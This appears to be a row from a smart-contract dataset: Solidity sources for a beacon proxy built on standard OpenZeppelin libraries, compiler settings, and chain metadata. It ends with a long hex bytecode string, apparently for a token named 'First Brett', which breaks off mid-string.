"content": "//SPDX-License-Identifier: MIT\npragma solidity 0.8.20;\n\nimport \"@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\ncontract ImmutableBeaconProxy is Proxy {\n\n UpgradeableBeacon public immutable __beacon;\n\n constructor(UpgradeableBeacon beacon) {\n __beacon = beacon;\n }\n\n function _implementation() internal view override returns (address) {\n return __beacon.implementation();\n }\n\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/beacon/UpgradeableBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/UpgradeableBeacon.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IBeacon.sol\";\nimport \"../../access/Ownable.sol\";\nimport \"../../utils/Address.sol\";\n\n/**\n * @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their\n * implementation contract, which is where they will delegate all function calls.\n *\n * An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.\n */\ncontract UpgradeableBeacon is IBeacon, Ownable {\n address private _implementation;\n\n /**\n * @dev Emitted when the implementation returned by the beacon is changed.\n */\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the\n * beacon.\n */\n constructor(address implementation_) {\n _setImplementation(implementation_);\n }\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view virtual override returns (address) {\n return _implementation;\n }\n\n /**\n * @dev Upgrades the beacon to a new implementation.\n *\n * Emits an {Upgraded} event.\n *\n * Requirements:\n *\n * - msg.sender must be the owner of the contract.\n * - `newImplementation` must be a contract.\n */\n function upgradeTo(address newImplementation) public virtual onlyOwner {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n }\n\n /**\n * @dev Sets the implementation contract address for this beacon\n *\n * Requirements:\n *\n * - `newImplementation` must be a contract.\n */\n function _setImplementation(address newImplementation) private {\n require(Address.isContract(newImplementation), \"UpgradeableBeacon: implementation is not a contract\");\n _implementation = newImplementation;\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"lib/openzeppelin-contracts/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
}
},
"settings": {
"remappings": [
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
"@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"forge-std/=lib/forge-std/src/",
"@aave/core-v3/=lib/aave-v3-core/",
"erc7399/=lib/erc7399/src/",
"erc7399-wrappers/=lib/erc7399-wrappers/src/",
"@prb/test/=lib/erc7399-wrappers/lib/prb-test/src/",
"aave-v3-core/=lib/aave-v3-core/",
"ds-test/=lib/forge-std/lib/ds-test/src/",
"erc3156/=lib/erc7399-wrappers/lib/erc3156/contracts/",
"erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/",
"openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/",
"prb-test/=lib/erc7399-wrappers/lib/prb-test/src/",
"registry/=lib/erc7399-wrappers/lib/registry/",
"solmate/=lib/erc7399-wrappers/lib/solmate/src/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none",
"appendCBOR": false
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"libraries": {}
}
}} |
1 | 20,290,762 | 2712a4fdc3b248135e3fdbac5b0388f592749a8feb37086e6bc0123130e272ba | 9bc63d00cbded9e6ac74c6cd4087febd4922fa0ffd346e47ccc056cfba961c79 | ee049f8ba070fc10c34891d2939143bb43d3aab8 | ee049f8ba070fc10c34891d2939143bb43d3aab8 | c1919d8e9d912570b055caa359d46453d95f6035 | 60806040526019600655601b6007555f6008555f6009556017600a556017600b556017600c556046600d555f600e556009600a6200003e919062000601565b637d2b75006200004f919062000651565b600f556009600a62000062919062000601565b637d2b750062000073919062000651565b6010556009600a62000086919062000601565b633b9aca0062000097919062000651565b6011556009600a620000aa919062000601565b633b9aca00620000bb919062000651565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f6015555f60165534801562000106575f80fd5b505f620001186200044160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001c46200044160201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000213919062000601565b64174876e80062000225919062000651565b60015f620002386200044160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6200028a6200044860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003b46200044160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000412919062000601565b64174876e80062000424919062000651565b604051620004339190620006ac565b60405180910390a3620006c7565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620004f957808604811115620004d157620004d06200046f565b5b6001851615620004e15780820291505b8081029050620004f1856200049c565b9450620004b1565b94509492505050565b5f82620005135760019050620005e5565b8162000522575f9050620005e5565b81600181146200053b576002811462000546576200057c565b6001915050620005e5565b60ff8411156200055b576200055a6200046f565b5b8360020a9150848211156200057557620005746200046f565b5b50620005e5565b5060208310610133831016604e8410600b8410161715620005b65782820a905083811115620005b057620005af6200046f565b5b620005e5565b620005c58484846001620004a8565b92509050818404811115620005df57620005de6200046f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200060d82620005ec565b91506200061a83620005f5565b9250620006497fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000502565b905092915050565b5f6200065d82620005ec565b91506200066a83620005ec565b92508282026200067a81620005ec565b915082820484148315176200069457620006936200046f565b5b5092915050565b620006a681620005ec565b82525050565b5f602082019050620006c15f8301846200069b565b92915050565b61387180620006d55f395ff3fe60806040526004361061014e575f3560e01c8063751039fc116100b5578063a9059cbb1161006e578063a9059cbb14610441578063bf474bed1461047d578063c9567bf9146104a7578063d34628cc146104bd578063dd62ed3e146104e5578063ec1f3f631461052157610155565b8063751039fc1461035b5780637d1db4a5146103715780638cd4426d1461039b5780638da5cb5b146103c35780638f9a55c0146103ed57806395d89b411461041757610155565b8063313ce56711610107578063313ce5671461026557806331c2d8471461028f5780633bbac579146102b757806351bc3c85146102f357806370a0823114610309578063715018a61461034557610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf578063109daa99146101e957806318160ddd146101ff57806323b872dd1461022957610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d610549565b60405161017a9190612760565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061281e565b610586565b6040516101b69190612876565b60405180910390f35b3480156101ca575f80fd5b506101d36105a3565b6040516101e0919061289e565b60405180910390f35b3480156101f4575f80fd5b506101fd6105a9565b005b34801561020a575f80fd5b5061021361067d565b604051610220919061289e565b60405180910390f35b348015610234575f80fd5b5061024f600480360381019061024a91906128b7565b6106a1565b60405161025c9190612876565b60405180910390f35b348015610270575f80fd5b50610279610775565b6040516102869190612922565b60405180910390f35b34801561029a575f80fd5b506102b560048036038101906102b09190612a7b565b61077d565b005b3480156102c2575f80fd5b506102dd60048036038101906102d89190612ac2565b61089b565b6040516102ea9190612876565b60405180910390f35b3480156102fe575f80fd5b506103076108ed565b005b348015610314575f80fd5b5061032f600480360381019061032a9190612ac2565b61099c565b60405161033c919061289e565b60405180910390f35b348015610350575f80fd5b506103596109e2565b005b348015610366575f80fd5b5061036f610b30565b005b34801561037c575f80fd5b50610385610c62565b604051610392919061289e565b60405180910390f35b3480156103a6575f80fd5b506103c160048036038101906103bc919061281e565b610c68565b005b3480156103ce575f80fd5b506103d7610e3e565b6040516103e49190612afc565b60405180910390f35b3480156103f8575f80fd5b50610401610e65565b60405161040e919061289e565b60405180910390f35b348015610422575f80fd5b5061042b610e6b565b6040516104389190612760565b60405180910390f35b34801561044c575f80fd5b506104676004803603810190610462919061281e565b610ea8565b6040516104749190612876565b60405180910390f35b348015610488575f80fd5b50610491610ec5565b60405161049e919061289e565b60405180910390f35b3480156104b2575f80fd5b506104bb610ecb565b005b3480156104c8575f80fd5b506104e360048036038101906104de9190612a7b565b6113eb565b005b3480156104f0575f80fd5b5061050b60048036038101906105069190612b15565b61150a565b604051610518919061289e565b60405180910390f35b34801561052c575f80fd5b5061054760048036038101906105429190612b53565b61158c565b005b60606040518060400160405280600b81526020017f4669727374204272657474000000000000000000000000000000000000000000815250905090565b5f610599610592611618565b848461161f565b6001905092915050565b60125481565b6105b1611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063490612bc8565b60405180910390fd5b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516106739190612c28565b60405180910390a1565b5f6009600a61068c9190612d9d565b64174876e80061069c9190612de7565b905090565b5f6106ad8484846117e2565b61076a846106b9611618565b610765856040518060600160405280602881526020016138146028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61071c611618565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121c29092919063ffffffff16565b61161f565b600190509392505050565b5f6009905090565b610785611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890612bc8565b60405180910390fd5b5f5b8151811015610897575f60045f84848151811061083357610832612e28565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610813565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661092d611618565b73ffffffffffffffffffffffffffffffffffffffff161461094c575f80fd5b5f6109563061099c565b90505f811180156109735750601460169054906101000a900460ff165b156109825761098181612224565b5b5f4790505f811115610998576109978161248f565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109ea611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d90612bc8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b38611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612bc8565b60405180910390fd5b6009600a610bd29190612d9d565b64174876e800610be29190612de7565b600f819055506009600a610bf69190612d9d565b64174876e800610c069190612de7565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c3b9190612d9d565b64174876e800610c4b9190612de7565b604051610c58919061289e565b60405180910390a1565b600f5481565b610c70611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390612bc8565b60405180910390fd5b5f610d9a6064610d8c848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d3f9190612afc565b602060405180830381865afa158015610d5a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7e9190612e69565b6124f790919063ffffffff16565b61256e90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610df8929190612ee6565b6020604051808303815f875af1158015610e14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e389190612f37565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600881526020017f4252455454312e30000000000000000000000000000000000000000000000000815250905090565b5f610ebb610eb4611618565b84846117e2565b6001905092915050565b60115481565b610ed3611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690612bc8565b60405180910390fd5b60148054906101000a900460ff1615610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612fac565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061104a3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6110359190612d9d565b64174876e8006110459190612de7565b61161f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110d89190612fde565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561115e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111829190612fde565b6040518363ffffffff1660e01b815260040161119f929190613009565b6020604051808303815f875af11580156111bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111df9190612fde565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112663061099c565b5f80611270610e3e565b426040518863ffffffff1660e01b815260040161129296959493929190613030565b60606040518083038185885af11580156112ae573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112d3919061308f565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113739291906130df565b6020604051808303815f875af115801561138f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b39190612f37565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b6113f3611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147690612bc8565b60405180910390fd5b5f5b815181101561150657600160045f8484815181106114a2576114a1612e28565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611481565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115cc611618565b73ffffffffffffffffffffffffffffffffffffffff16146115eb575f80fd5b60085481111580156115ff57506009548111155b611607575f80fd5b806008819055508060098190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffff